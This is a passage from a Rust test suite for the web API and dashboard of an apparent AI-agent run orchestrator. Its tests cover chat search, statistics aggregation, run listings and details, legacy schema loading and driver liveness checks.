15895 .map(|(who, body)| {
15896 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
15897 })
15898 .collect();
15899 let doc = serde_json::json!({
15900 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
15901 "status": status, "turns": turns,
15902 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
15903 "seat": seat,
15904 });
15905 let dir = f.home.path().join("talks");
15906 std::fs::create_dir_all(&dir).expect("talks dir");
15907 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
15908 }
15909
15910 #[tokio::test]
15911 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
15912 let f = Fixture::start().await;
15913 write_talk(
15914 &f,
15915 "20260901-000001-aaaa",
15916 "open",
15917 &[
15918 (
15919 "operator",
15920 "\n Why does the Pangolin cache expire?\nsecond line",
15921 ),
15922 ("agent", "Because the TTL is thirty seconds."),
15923 ],
15924 );
15925 write_talk(
15926 &f,
15927 "20260901-000002-bbbb",
15928 "closed",
15929 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
15930 );
15931 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
15932
15933 let search = |q: &'static str| {
15934 let f = &f;
15935 async move {
15936 f.get(&format!("/api/search?scope=chats&q={q}"))
15937 .await
15938 .json()
15939 }
15940 };
15941
15942 let v = search("PANGOLIN").await;
15943 assert_eq!(v["scope"], "chats");
15944 assert_eq!(v["total"], 1, "{v}");
15945 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
15946 assert_eq!(v["hits"][0]["field"], "title");
15947 assert_eq!(v["unreadable"], 1, "{v}");
15948 let marked: Vec<&str> = v["hits"][0]["snippet"]
15949 .as_array()
15950 .unwrap()
15951 .iter()
15952 .filter(|p| p["hit"] == true)
15953 .map(|p| p["text"].as_str().unwrap())
15954 .collect();
15955 assert_eq!(marked, ["Pangolin"]);
15956
15957 let v = search("zebra").await;
15959 assert_eq!(v["total"], 1, "{v}");
15960 assert_eq!(v["hits"][0]["field"], "agent");
15961 assert_eq!(search("pangolin%20thirty").await["total"], 1);
15963 assert_eq!(search("pangolin%20zebra").await["total"], 0);
15964 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
15966 assert_eq!(search(q).await["total"], 0, "{q}");
15967 }
15968 assert_eq!(search("second").await["hits"][0]["field"], "operator");
15970 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
15972
15973 let v = f.get("/api/search?scope=nope&q=a").await;
15974 assert_eq!(v.status, 400);
15975 assert!(
15976 v.body.contains("scope must be runs, tasks or chats"),
15977 "{}",
15978 v.body
15979 );
15980 }
15981
15982 #[test]
15983 fn a_question_card_links_a_task_id_to_the_task_page() {
15984 let start = APP_JS
15985 .find("function updateAskCard(")
15986 .expect("updateAskCard exists");
15987 let body = &APP_JS[start..];
15988 let body = &body[..body.find("\n}\n").expect("function end")];
15989 assert!(body.contains("question.run_is_task"));
15990 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
15991 assert!(body.contains("`#/runs/${question.run}`"));
15992 assert!(body.contains("\"task\" : \"run\""));
15993 }
15994
15995 #[test]
15996 fn plain_text_message_surfaces_go_through_linkify() {
15997 assert!(APP_JS.contains("function linkify("));
15998 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
15999 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
16000 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
16001 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
16002 assert!(!APP_JS.contains("innerHTML = text"));
16003 }
16004
16005 #[test]
16006 fn implementation_rate_views_keep_independent_samples() {
16007 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
16008 let a = stats::AgentStats {
16009 competitive_entered: competitive_n,
16010 competitive_wins: usize::from(competitive_n > 0),
16011 solo_entered: solo_n,
16012 solo_adopted: 2 * usize::from(solo_n > 0),
16013 ..Default::default()
16014 };
16015 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
16016 for (key, n, numerator) in [
16017 ("competitive_win_rate", competitive_n, a.competitive_wins),
16018 ("solo_adoption_rate", solo_n, a.solo_adopted),
16019 ] {
16020 if n == 0 {
16021 assert!(v[key].is_null());
16022 } else {
16023 assert_eq!(v[key]["denominator"], n);
16024 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
16025 }
16026 }
16027 }
16028 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
16029 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
16030 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
16031 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
16032 }
16033
16034 #[test]
16035 fn stats_bars_share_one_id_keyed_plan() {
16036 let start = APP_JS
16037 .find("function statsBarRows(")
16038 .expect("statsBarRows exists");
16039 let body = &APP_JS[start..];
16040 let body = &body[..body.find("\n}\n").expect("function end")];
16041 assert!(body.contains("statsBarPlan(rows)"));
16042 assert!(body.contains("statsAgentTone(row.agent)"));
16043 assert!(!body.contains("candTone(i)"));
16044 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
16045 for root in [
16046 "stats-agents-bars",
16047 "stats-solo-bars",
16048 "stats-reviewers-bars",
16049 ] {
16050 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
16051 }
16052 }
16053
16054 #[test]
16055 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
16056 let start = APP_JS
16057 .find("function renderStatsReviewerScatter(")
16058 .expect("renderStatsReviewerScatter exists");
16059 let body = &APP_JS[start..];
16060 let body = &body[..body.find("\n}\n").expect("function end")];
16061 assert!(body.contains("statsScatterPlan(reviewers)"));
16062 assert!(body.contains("statsAgentTone(d.agent)"));
16063 assert!(APP_JS.contains("function statsScatterPlan("));
16064 assert!(
16065 APP_JS.contains("d.submitted < STATS_LOW_N")
16066 || APP_JS.contains("r.submitted < STATS_LOW_N")
16067 );
16068 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
16069 assert!(APP_CSS.contains(".precision-scatter"));
16070 }
16071
16072 #[test]
16073 fn advisor_reflection_is_drawn_as_stacked_segments() {
16074 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
16075 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
16076 let html = include_str!("../assets/ui/index.html");
16077 assert!(html.contains("Approximate"));
16078 for label in ["reflected strongly", "faint", "no proposal"] {
16079 assert!(html.contains(label));
16080 }
16081 let css = include_str!("../assets/ui/app.css");
16082 for c in ["refl-strong", "refl-faint", "refl-absent"] {
16083 assert!(css.contains(&format!(".{c} {{")));
16084 }
16085 }
16086
16087 #[test]
16088 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
16089 assert!(APP_JS.contains("function statsDailyPlan("));
16090 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
16091 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
16092 }
16093
16094 #[test]
16095 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
16096 let start = APP_JS
16097 .find("function scheduleSearch(")
16098 .expect("scheduleSearch exists");
16099 let body = &APP_JS[start..];
16100 let body = &body[..body.find("\n}\n").expect("function end")];
16101 assert!(body.contains("s.seq += 1"));
16102 }
16103
16104 #[tokio::test]
16109 async fn stats_runs_unreadable_matches_health() {
16110 let f = Fixture::start().await;
16111 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
16112 let broken = f.runs().join("20260902-140502-bad");
16113 std::fs::create_dir_all(&broken).expect("run dir");
16114 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
16115
16116 let stats = f.get("/api/stats").await;
16117 let health = f.get("/api/health").await;
16118
16119 assert_eq!(stats.status, 200);
16120 assert_eq!(stats.json()["totals"]["runs"], 1);
16121 assert_eq!(stats.json()["runs_unreadable"], 1);
16122 assert_eq!(
16123 stats.json()["runs_unreadable"],
16124 health.json()["runs_unreadable"],
16125 "the dashboard and /api/health must never disagree about how many \
16126 runs could not be read"
16127 );
16128 }
16129
16130 #[tokio::test]
16131 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
16132 let f = Fixture::start().await;
16133 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
16134 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
16135 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
16136
16137 let totals = &f.get("/api/stats").await.json()["totals"];
16138 assert_eq!(totals["runs"], 3);
16139 assert_eq!(totals["merged"], 1);
16140 assert_eq!(totals["stalled"], 1);
16141 assert_eq!(totals["in_progress"], 1);
16142 assert_eq!(totals["blocked"], 0);
16145 assert_eq!(totals["ready"], 0);
16146 }
16147
16148 #[tokio::test]
16149 async fn stats_advisors_report_proposals_and_reflection() {
16150 use crate::advise::{Advice, AdvisorRecord, Reflection};
16151 use crate::verdict::Proposal;
16152
16153 let f = Fixture::start().await;
16154 let mut state = RunState::new(
16155 PathBuf::from("/repo/magi"),
16156 "main".to_owned(),
16157 "0123456789abcdef".to_owned(),
16158 "task".to_owned(),
16159 Config::default(),
16160 );
16161 state.id = "20260902-140501-a".to_owned();
16162 state.status = RunStatus::Merged;
16163 state.advice = Some(Advice {
16164 records: vec![
16165 AdvisorRecord {
16166 seat: "advisor-1".to_owned(),
16167 agent: "alpha".to_owned(),
16168 proposal: Some(Proposal {
16169 approach: "do it".to_owned(),
16170 key_tradeoff: "speed over memory".to_owned(),
16171 risks: Vec::new(),
16172 touches: Vec::new(),
16173 why_not_naive: "breaks under load".to_owned(),
16174 }),
16175 error: None,
16176 duration_ms: 0,
16177 reflection: Reflection::Strong,
16178 },
16179 AdvisorRecord {
16180 seat: "advisor-2".to_owned(),
16181 agent: "alpha".to_owned(),
16182 proposal: None,
16183 error: Some("timed out".to_owned()),
16184 duration_ms: 0,
16185 reflection: Reflection::Absent,
16186 },
16187 ],
16188 synthesis: Some("blended brief".to_owned()),
16189 });
16190 let dir = f.runs().join(&state.id);
16191 std::fs::create_dir_all(&dir).expect("run dir");
16192 std::fs::write(
16193 dir.join("run.json"),
16194 serde_json::to_string_pretty(&state).expect("serialize run"),
16195 )
16196 .expect("write run.json");
16197
16198 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
16200 let alpha = advisors
16201 .as_array()
16202 .expect("an array")
16203 .iter()
16204 .find(|a| a["agent"] == "alpha")
16205 .expect("alpha row");
16206 assert_eq!(alpha["seated"], 2);
16207 assert_eq!(alpha["proposed"], 1);
16208 assert_eq!(alpha["absent"], 1);
16209 assert_eq!(alpha["strong"], 1);
16210 assert_eq!(alpha["faint"], 0);
16211 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
16212 }
16213
16214 #[tokio::test]
16215 async fn stats_hides_agents_outside_the_roster_unless_all() {
16216 use crate::run::Candidate;
16217 let repo = TempDir::new().expect("repo dir");
16218 std::fs::write(
16219 repo.path().join("magi.toml"),
16220 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
16221 )
16222 .expect("magi.toml");
16223 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
16224 let mut state = RunState::new(
16225 PathBuf::from("/repo/magi"),
16226 "main".to_owned(),
16227 "0123456789abcdef".to_owned(),
16228 "task".to_owned(),
16229 Config::default(),
16230 );
16231 state.id = "20260902-140501-a".to_owned();
16232 state.status = RunStatus::Merged;
16233 for (label, agent) in [('A', "keep"), ('B', "retired")] {
16234 let mut c: Candidate = serde_json::from_value(serde_json::json!({
16235 "index": 0, "label": label.to_string(), "agent": agent,
16236 "branch": "b", "worktree": "/w",
16237 }))
16238 .expect("candidate");
16239 c.label = label;
16240 state.candidates.push(c);
16241 }
16242 let dir = f.runs().join(&state.id);
16243 std::fs::create_dir_all(&dir).expect("run dir");
16244 std::fs::write(
16245 dir.join("run.json"),
16246 serde_json::to_string_pretty(&state).expect("serialize run"),
16247 )
16248 .expect("write run.json");
16249
16250 let agents_of = |v: &serde_json::Value| -> Vec<String> {
16251 v["agents"]
16252 .as_array()
16253 .expect("array")
16254 .iter()
16255 .map(|a| a["agent"].as_str().unwrap().to_owned())
16256 .collect()
16257 };
16258 let hidden = f.get("/api/stats").await.json();
16259 assert_eq!(agents_of(&hidden), ["keep"]);
16260 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
16261 assert_eq!(hidden["totals"]["runs"], 1);
16262
16263 let all = f.get("/api/stats?all=true").await.json();
16264 assert_eq!(agents_of(&all).len(), 2);
16265 assert_eq!(all["retired_hidden"], serde_json::json!([]));
16266 let keep_agent = all["agents"]
16268 .as_array()
16269 .unwrap()
16270 .iter()
16271 .find(|a| a["agent"] == "keep")
16272 .unwrap();
16273 assert_eq!(keep_agent["competitive_entered"], 1);
16274 assert_eq!(keep_agent["competitive_wins"], 0);
16275 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
16276 assert_eq!(keep_agent["solo_entered"], 0);
16277 assert_eq!(keep_agent["solo_adopted"], 0);
16278 assert!(keep_agent["solo_adoption_rate"].is_null());
16279 }
16280
16281 #[tokio::test]
16282 async fn stats_release_bumps_split_clean_from_attention() {
16283 use crate::run::ReleaseBump;
16284
16285 let f = Fixture::start().await;
16286
16287 let mut clean = RunState::new(
16288 PathBuf::from("/repo/magi"),
16289 "main".to_owned(),
16290 "0123456789abcdef".to_owned(),
16291 "task".to_owned(),
16292 Config::default(),
16293 );
16294 clean.id = "20260902-140501-a".to_owned();
16295 clean.status = RunStatus::Merged;
16296 clean.release_bump = Some(ReleaseBump {
16297 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
16298 version: Some("1.0.0".to_owned()),
16299 automerge_enabled: true,
16300 merged_directly: false,
16301 local: false,
16302 release: None,
16303 problem: None,
16304 action_required: None,
16305 });
16306
16307 let mut blocked = RunState::new(
16308 PathBuf::from("/repo/magi"),
16309 "main".to_owned(),
16310 "0123456789abcdef".to_owned(),
16311 "task".to_owned(),
16312 Config::default(),
16313 );
16314 blocked.id = "20260902-140502-b".to_owned();
16315 blocked.status = RunStatus::Merged;
16316 blocked.release_bump = Some(ReleaseBump {
16317 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
16318 version: Some("1.0.1".to_owned()),
16319 automerge_enabled: false,
16320 merged_directly: false,
16321 local: false,
16322 release: None,
16323 problem: Some("checks red".to_owned()),
16324 action_required: Some("look at the PR".to_owned()),
16325 });
16326
16327 for state in [&clean, &blocked] {
16328 let dir = f.runs().join(&state.id);
16329 std::fs::create_dir_all(&dir).expect("run dir");
16330 std::fs::write(
16331 dir.join("run.json"),
16332 serde_json::to_string_pretty(state).expect("serialize run"),
16333 )
16334 .expect("write run.json");
16335 }
16336
16337 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
16338 assert_eq!(bumps["merged"], 2);
16339 assert_eq!(bumps["recorded"], 2);
16340 assert_eq!(bumps["pr_opened"], 2);
16341 assert_eq!(bumps["automerge_enabled"], 1);
16342 assert_eq!(bumps["needs_attention"], 1);
16343 assert_eq!(bumps["clean"], 1);
16344 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
16345 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
16346 }
16347
16348 #[tokio::test]
16349 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
16350 let f = Fixture::start().await;
16351 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
16352
16353 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
16354 assert_eq!(bumps["merged"], 1);
16355 assert_eq!(bumps["recorded"], 0);
16356 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
16359 assert_eq!(bumps["automerge_rate"], Value::Null);
16362 assert_eq!(bumps["attention_rate"], Value::Null);
16363 }
16364
16365 #[tokio::test]
16366 async fn stats_queue_counts_come_from_the_live_queue() {
16367 let f = Fixture::start().await;
16368 let q = f.queue();
16369 let mut queued = Task::new(
16370 "queued task".to_owned(),
16371 "do it".to_owned(),
16372 PathBuf::from("/repo"),
16373 Source::Human,
16374 );
16375 q.put(&mut queued).expect("put queued");
16376 let mut held = Task::new(
16377 "held task".to_owned(),
16378 "do it later".to_owned(),
16379 PathBuf::from("/repo"),
16380 Source::Human,
16381 );
16382 held.hold_machine(Some("out of attempts".to_owned()));
16383 q.put(&mut held).expect("put held");
16384
16385 let queue = f.get("/api/stats").await.json()["queue"].clone();
16386 assert_eq!(queue["queued"], 1);
16387 assert_eq!(queue["held"], 1);
16388 assert_eq!(queue["running"], 0);
16389 assert_eq!(queue["done"], 0);
16390 assert_eq!(queue["failed"], 0);
16391 assert_eq!(queue["blocked"], 0);
16392 }
16393
16394 #[tokio::test]
16395 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
16396 let f = Fixture::start().await;
16397 let stats = f.get("/api/stats").await;
16398 assert_eq!(stats.status, 200);
16399 assert_eq!(stats.json()["totals"]["runs"], 0);
16400 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
16401 assert_eq!(stats.json()["runs_unreadable"], 0);
16402 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
16403 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
16404 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
16405 assert_eq!(stats.json()["repo"], Value::Null);
16406 }
16407
16408 #[tokio::test]
16409 async fn stats_lists_every_repository_with_runs_recorded() {
16410 let f = Fixture::start().await;
16411 write_run_repo(
16412 &f.runs(),
16413 "20260902-140501-a",
16414 RunStatus::Merged,
16415 "/repos/a",
16416 );
16417 write_run_repo(
16418 &f.runs(),
16419 "20260902-140502-b",
16420 RunStatus::Merged,
16421 "/repos/a",
16422 );
16423 write_run_repo(
16424 &f.runs(),
16425 "20260902-140503-c",
16426 RunStatus::Blocked,
16427 "/repos/b",
16428 );
16429
16430 let stats = f.get("/api/stats").await;
16431 assert_eq!(stats.status, 200);
16432 assert_eq!(stats.json()["totals"]["runs"], 3);
16434 assert_eq!(stats.json()["repo"], Value::Null);
16435
16436 let repos = stats.json()["repos"].clone();
16437 let repos = repos.as_array().unwrap();
16438 assert_eq!(repos.len(), 2);
16439 assert_eq!(repos[0]["repo"], "/repos/a");
16441 assert_eq!(repos[0]["name"], "a");
16442 assert_eq!(repos[0]["runs"], 2);
16443 assert_eq!(repos[1]["repo"], "/repos/b");
16444 assert_eq!(repos[1]["runs"], 1);
16445 }
16446
16447 #[tokio::test]
16448 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
16449 let f = Fixture::start().await;
16450 write_run_repo(
16451 &f.runs(),
16452 "20260902-140501-a",
16453 RunStatus::Merged,
16454 "/repos/a",
16455 );
16456 write_run_repo(
16457 &f.runs(),
16458 "20260902-140502-b",
16459 RunStatus::Blocked,
16460 "/repos/b",
16461 );
16462
16463 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
16464 assert_eq!(stats.status, 200);
16465 assert_eq!(stats.json()["totals"]["runs"], 1);
16466 assert_eq!(stats.json()["totals"]["merged"], 1);
16467 assert_eq!(stats.json()["repo"], "/repos/a");
16468 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
16471 assert_eq!(stats.json()["runs_unreadable"], 0);
16474 }
16475
16476 #[tokio::test]
16477 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
16478 let f = Fixture::start().await;
16479 write_run_repo(
16480 &f.runs(),
16481 "20260902-140501-a",
16482 RunStatus::Merged,
16483 "/repos/a",
16484 );
16485 write_run_repo(
16486 &f.runs(),
16487 "20260902-140502-b",
16488 RunStatus::Merged,
16489 "/repos/b",
16490 );
16491
16492 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
16493 let json = f.get(uri).await.json();
16494 let daily = json["daily"].as_array().expect("daily is an array");
16495 assert_eq!(daily.len(), 30);
16496 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
16497 let mut sorted = dates.clone();
16498 sorted.sort();
16499 assert_eq!(dates, sorted);
16500 for d in daily {
16501 assert_eq!(
16502 d["merged"].as_u64().unwrap()
16503 + d["ready"].as_u64().unwrap()
16504 + d["other"].as_u64().unwrap(),
16505 d["runs"].as_u64().unwrap()
16506 );
16507 }
16508 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
16509 }
16510 }
16511
16512 #[tokio::test]
16513 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
16514 let f = Fixture::start().await;
16515 write_run_repo(
16516 &f.runs(),
16517 "20260902-140501-a",
16518 RunStatus::Merged,
16519 "/repos/a",
16520 );
16521
16522 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
16523 assert_eq!(stats.status, 404);
16524 }
16525
16526 #[tokio::test]
16527 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
16528 let f = Fixture::start().await;
16529 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
16530
16531 let summary = f.get("/api/runs").await.json();
16532 let row = &summary[0];
16533 assert_eq!(row["short"], "a1b2");
16534 assert_eq!(row["status"], "ready");
16535 assert_eq!(row["done"], true);
16536 assert_eq!(row["title"], "Add a web UI");
16537 assert_eq!(row["repo_name"], "magi");
16538 assert_eq!(row["judges"], 3);
16539 assert_eq!(row["winner"], Value::Null);
16540 assert_eq!(row["reviews"], 0);
16541
16542 let detail = f.get("/api/runs/a1b2").await;
16545 assert_eq!(detail.status, 200);
16546 assert_eq!(detail.json()["base_branch"], "main");
16547 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
16548 }
16549
16550 #[tokio::test]
16558 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
16559 let f = Fixture::start().await;
16560
16561 let mut none_run = RunState::new(
16562 PathBuf::from("/repo/magi"),
16563 "main".to_owned(),
16564 "0123456789abcdef".to_owned(),
16565 "Add a web UI".to_owned(),
16566 Config::default(),
16567 );
16568 none_run.id = "20260902-140503-none".to_owned();
16569 none_run.status = RunStatus::Ready;
16570 none_run.merge = Some(crate::run::MergeOutcome {
16571 mode: crate::config::MergeMode::None,
16572 ok: true,
16573 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
16574 empty: false,
16575 });
16576 write_state(&f.runs(), &none_run);
16577
16578 let mut pr_run = RunState::new(
16579 PathBuf::from("/repo/magi"),
16580 "main".to_owned(),
16581 "0123456789abcdef".to_owned(),
16582 "Add a web UI".to_owned(),
16583 Config::default(),
16584 );
16585 pr_run.id = "20260902-140504-prcl".to_owned();
16586 pr_run.status = RunStatus::Ready;
16587 pr_run.merge = Some(crate::run::MergeOutcome {
16588 mode: crate::config::MergeMode::Pr,
16589 ok: false,
16590 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
16591 empty: false,
16592 });
16593 write_state(&f.runs(), &pr_run);
16594
16595 let summary = f.get("/api/runs").await.json();
16596 let rows: std::collections::HashMap<&str, &Value> = summary
16597 .as_array()
16598 .expect("an array")
16599 .iter()
16600 .map(|r| (r["id"].as_str().expect("an id"), r))
16601 .collect();
16602 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
16603 assert_eq!(
16604 rows[none_run.id.as_str()]["unmerged_by_design"],
16605 true,
16606 "a mode-none Ready must be flagged in the list"
16607 );
16608 assert_eq!(
16609 rows[pr_run.id.as_str()]["unmerged_by_design"],
16610 false,
16611 "a Ready reached by a closed pull request is a different case"
16612 );
16613
16614 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
16615 assert_eq!(none_detail["status"], "ready");
16616 assert_eq!(none_detail["unmerged_by_design"], true);
16617
16618 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
16619 assert_eq!(pr_detail["unmerged_by_design"], false);
16620 }
16621
16622 #[tokio::test]
16627 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
16628 let f = Fixture::start().await;
16629 let id = "20260902-140502-bbbb";
16633 let mut state = RunState::new(
16634 PathBuf::from("/repo/magi"),
16635 "main".to_owned(),
16636 "0123456789abcdef".to_owned(),
16637 "Add a web UI".to_owned(),
16638 Config::default(),
16639 );
16640 state.id = id.to_owned();
16641 state.status = RunStatus::Judging;
16642 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
16643 let dir = f.runs().join(id);
16644 std::fs::create_dir_all(&dir).expect("run dir");
16645 std::fs::write(
16646 dir.join("run.json"),
16647 serde_json::to_string_pretty(&state).expect("serialize run"),
16648 )
16649 .expect("write run.json");
16650
16651 let cold = f.get(&format!("/api/runs/{id}")).await.json();
16657 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
16658 assert_eq!(cold["live"], "unknown", "{cold}");
16659
16660 write_daemon(f.home.path(), Timestamp::now());
16663 let warm = f.get(&format!("/api/runs/{id}")).await.json();
16664 assert_eq!(warm["live"], "live", "{warm}");
16665 }
16666
16667 #[test]
16668 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
16669 let home = tempfile::tempdir().expect("temp home");
16670 let runs = home.path().join("runs");
16671 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
16672 let mut state = RunState::new(
16673 PathBuf::from("/repo/magi"),
16674 "main".to_owned(),
16675 "0123456789abcdef".to_owned(),
16676 "Generated review context, not authored task criteria".to_owned(),
16677 Config::default(),
16678 );
16679 state.origin = origin;
16680 state.status = RunStatus::Blocked;
16681 state.driver_exited = false;
16683 state.gate_ran = true;
16684 let expected = serde_json::to_value(&state).expect("serialize current state");
16685 let mut legacy = expected.clone();
16686 legacy["schema"] = serde_json::json!(13);
16687 legacy.as_object_mut().unwrap().remove("task_instruction");
16688 let dir = runs.join(&state.id);
16689 std::fs::create_dir_all(&dir).expect("run dir");
16690 let path = dir.join("run.json");
16691 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
16692 std::fs::write(&path, &body).expect("write legacy run");
16693
16694 for loaded in [
16695 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
16696 read_run(&runs, &state.id).expect("web migration"),
16697 ] {
16698 assert_eq!(loaded.schema, crate::run::SCHEMA);
16699 assert!(loaded.task_instruction.is_none());
16700 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
16701 }
16702 assert_eq!(runs_unreadable(&runs), 0);
16703 assert_eq!(std::fs::read(&path).unwrap(), body);
16704 }
16705 }
16706
16707 #[tokio::test]
16710 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
16711 let f = Fixture::start().await;
16712 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
16713 let mut state = RunState::new(
16714 PathBuf::from("/repo/magi"),
16715 "main".to_owned(),
16716 "0123456789abcdef".to_owned(),
16717 "Add a web UI".to_owned(),
16718 Config::default(),
16719 );
16720 state.id = id.to_owned();
16721 state.origin = origin;
16722 let mut value = serde_json::to_value(&state).expect("serialize run");
16723 if let Some(schema) = schema {
16724 value["schema"] = serde_json::json!(schema);
16725 value.as_object_mut().unwrap().remove("origin");
16726 }
16727 let dir = f.runs().join(id);
16728 std::fs::create_dir_all(&dir).expect("run dir");
16729 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
16730 };
16731 write(
16732 "20260930-092817-ec34",
16733 Some(crate::run::Origin::from_agent_env(
16734 Some(("4a7b".to_owned(), "chat".to_owned())),
16735 None,
16736 )),
16737 None,
16738 );
16739 write("20260930-092817-0ld1", None, Some(12));
16740
16741 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
16742 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
16743 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
16744
16745 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
16746 assert_eq!(
16747 old["origin_label"], "origin unknown (started before origins were recorded)",
16748 "{old}"
16749 );
16750 assert!(old["origin"].is_null(), "{old}");
16751
16752 let list = f.get("/api/runs").await.json();
16753 let labels: Vec<_> = list
16754 .as_array()
16755 .unwrap()
16756 .iter()
16757 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
16758 .collect();
16759 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
16760 }
16761
16762 #[tokio::test]
16769 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
16770 let f = Fixture::start().await;
16771 let id = "20260922-090000-cccc";
16772 let mut state = RunState::new(
16773 PathBuf::from("/repo/magi"),
16774 "main".to_owned(),
16775 "0123456789abcdef".to_owned(),
16776 "Review only".to_owned(),
16777 Config::default(),
16778 );
16779 state.id = id.to_owned();
16780 state.status = RunStatus::Reviewing;
16781 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
16782 state.driver_pid = Some(std::process::id());
16788 state.driver_started_at = Some(
16789 crate::proc::process_started_at(std::process::id())
16790 .expect("this test process's own start time must be queryable"),
16791 );
16792 let dir = f.runs().join(id);
16793 std::fs::create_dir_all(&dir).expect("run dir");
16794 std::fs::write(
16795 dir.join("run.json"),
16796 serde_json::to_string_pretty(&state).expect("serialize run"),
16797 )
16798 .expect("write run.json");
16799
16800 let detail = f.get(&format!("/api/runs/{id}")).await.json();
16801 assert_eq!(detail["live"], "live", "{detail}");
16802 }
16803
16804 #[tokio::test]
16810 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
16811 let f = Fixture::start().await;
16812 let id = "20260922-090100-dddd";
16813 let mut state = RunState::new(
16814 PathBuf::from("/repo/magi"),
16815 "main".to_owned(),
16816 "0123456789abcdef".to_owned(),
16817 "Review only".to_owned(),
16818 Config::default(),
16819 );
16820 state.id = id.to_owned();
16821 state.status = RunStatus::Reviewing;
